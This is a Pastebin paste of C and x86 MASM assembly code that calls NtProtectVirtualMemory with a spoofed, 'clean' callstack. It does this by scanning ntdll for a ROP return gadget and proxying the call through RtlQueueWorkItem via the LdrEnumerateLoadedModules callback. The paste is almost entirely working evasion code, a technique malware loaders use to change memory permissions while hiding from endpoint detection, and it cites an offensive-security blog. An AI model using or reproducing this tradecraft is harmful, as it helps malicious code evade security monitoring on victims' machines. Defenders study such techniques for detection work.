x86.ntprotect.rtlqueueworkitem

a guest

Jul 2nd, 2024

622

Never

Add comment

Not a member of Pastebin yet? Sign Up, it unlocks many cool features!

text 4.14 KB | None | 0 0

raw download clone embed print report

x86 Call NtProtectVirtualMemory with a clean callstack using RtlQueueWorkItem through a callback function like LdrEnumerateLoadedModules.
FILE main.c
----------------+
char *get_ntdll_ret_gadget(uint32_t *ntdll, uint16_t *bytes)
{
unsigned char *api_addr = customgetproc(ntdll,
"RtlCleanUpTEBLangLists");
/* scan 8kb data memory down */
for (int i=0; i < 8 * 1000; i++)
{
if (api_addr[i] == (uint8_t*)bytes[0])
{
if ((uint16_t*)api_addr[i+1] == bytes[1])
{
return (api_addr + i);
}
}
}
return NULL;
}
/*
* 0xdarkvortex.dev/hiding-in-plainsight
* call RtlQueueWorkItem using a callback function LdrEnumerateLoadedModules
* NtApi RtlQueueWorkItem's stdcall arg1 i.e. ret 4bytes
*
*/
int *ad_hoc_3params(int **gadget_func, int **workcallback_func)
{
uint16_t bytes[] = {0xc2 , 0x000c};
HMODULE ntdll = customgetmodule("ntdll.dll");
pRtlQueueWorkItem RtlQueueWorkItem = (pRtlQueueWorkItem)GetProcAddress(ntdll, "RtlQueueWorkItem");
*workcallback_func = &workcallback; /* workcallback.asm */
*gadget_func = get_ntdll_ret_gadget(ntdll, bytes);
return RtlQueueWorkItem; // already contains the mem address of RtlQueueWorkItem
}
/* callback calls intermediary asm code enumproccallback.asm*/
int exec_custom_ntprotect(PVOID* base_address, PULONG bytes_to_protect, ULONG oldperms, PULONG newperms, int *ret_gadget)
{
PVOID* allocated_addr = base_address;
int *ntdll = customgetmodule("ntdll.dll");
pLdrEnumerateLoadedModules LdrEnumerateLoadedModules = (pLdrEnumerateLoadedModules) customgetproc(ntdll, "LdrEnumerateLoadedModules");
NtProtectVirtualMemory_args ntProtectVirtualMemory_args = { 0 };
ntProtectVirtualMemory_args.pNtProtectVirtualMemory = customgetproc(ntdll, "NtProtectVirtualMemory");
ntProtectVirtualMemory_args.hProcess = (int)-1;
ntProtectVirtualMemory_args.address = allocated_addr;
ntProtectVirtualMemory_args.bytes_to_protect = bytes_to_protect;
ntProtectVirtualMemory_args.oldperms = oldperms;
ntProtectVirtualMemory_args.newperms = newperms;
ntProtectVirtualMemory_args.ret_gadget = ret_gadget;
if (NT_SUCCESS(LdrEnumerateLoadedModules(NULL, &enumproccallback, (void*)&ntProtectVirtualMemory_args)))
{
WaitForSingleObject((int)-1, 2000);
}
return 1;
}
FILE workcallback.asm
-----------------------------+
.model flat, STDCALL
OPTION PROLOGUE:NONE
OPTION EPILOGUE:NONE
.code
workcallback PROC PUBLIC arg1:DWORD
mov edx, [esp+4] ; backing up pointer to struct in edx
push dword ptr [edx+20]; newperms
push dword ptr [edx+16]; oldperms
push dword ptr [edx+12]; bytes_to_protect
push dword ptr [edx+8] ; base_address
push dword ptr [edx+4] ; HANDLE hprocess
push dword ptr [edx+24]; ret address rop gadget
mov eax, [edx] ; NtProtectVirtualMemory
jmp eax ; jmp NtProtectVirtualMemory
workcallback ENDP
END
FILE enumproccallback.asm
-----------------------------+
.model flat, STDCALL
OPTION PROLOGUE:NONE
OPTION EPILOGUE:NONE
EXTERN ad_hoc_3params :PROC
.code
; calls an ad-hoc function and gets 2 params in stack arrangement for RtlQueueWorkItem
; set stack param1 workcallback, param2 ntvirutalprotectmemory, arg3 -> must not be 0x00
; sets rop to ret c i.e. c2 0c 00 gadget in ntdll and jmp to RtlQueueWorkItem
enumproccallback PROC PUBLIC arg1:DWORD,arg2:DWORD,arg3:BYTE
mov edx, [esp+12]; backup 3rd param
mov BYTE PTR [edx], 1 ; set 3rd param
xor edx, edx ; clear edx
mov edx, [esp+8] ; backup pointer to struct i.e. 2nd arg
sub esp, 16 ; create space for 3 args
mov [esp+8], edx ; 2nd arg &ntProtectVirtualMemory_args
mov DWORD PTR [esp+12], 0 ; 3rd arg -> 0x00000000 WT_EXECUTEDEFAULT
lea eax, [esp+4] ; load effective address of stack
push eax ; &1st arg stack
lea eax, [esp+4] ; load effective address of stack for rop gadget
push eax ; &0th arg i.e. rop gadget return address
call ad_hoc_3params
add esp, 8 ; cdecl ad_hoc_3params clear stack
jmp eax ; jmp to RtlQueueWorkItem
enumproccallback ENDP
END

Add Comment

Please, Sign In to add comment